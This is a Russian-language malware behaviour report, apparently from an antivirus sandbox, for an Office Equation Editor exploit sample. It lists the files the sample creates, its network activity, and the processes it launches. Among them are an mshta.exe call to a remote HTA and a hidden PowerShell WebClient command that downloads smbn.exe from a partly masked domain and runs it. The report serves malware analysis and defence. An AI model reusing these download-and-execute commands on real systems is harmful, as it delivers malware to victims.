Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\mshta.exe' http://bi#.ly/2SqLWAk &AAAAAAAAAAAAAAA C
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\cookies\user@bit[1].txt
Сетевая активность
TCP
Запросы HTTP GET
- http://bi#.ly/2SqLWAk
- http://ne##ux.in/img/bn.hta
UDP
- DNS ASK bi#.ly
- DNS ASK ne##ux.in
Другое
Ищет следующие окна
- ClassName: 'MsoHelp11' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\mshta.exe' http://bi#.ly/2SqLWAk &AAAAAAAAAAAAAAA C' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://www.co#####onamento-viti.it/img/1/smbn.exe','%temp%\smbn.exe'); Start '%temp%\smbn.exe'' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '<SYSTEM32>\cmd.exe' /c powershell (new-object System.Net.WebClienT).DownloadFile('http://www.co#####onamento-viti.it/img/1/smbn.exe','%temp%\smbn.exe'); Start '%temp%\smbn.exe'
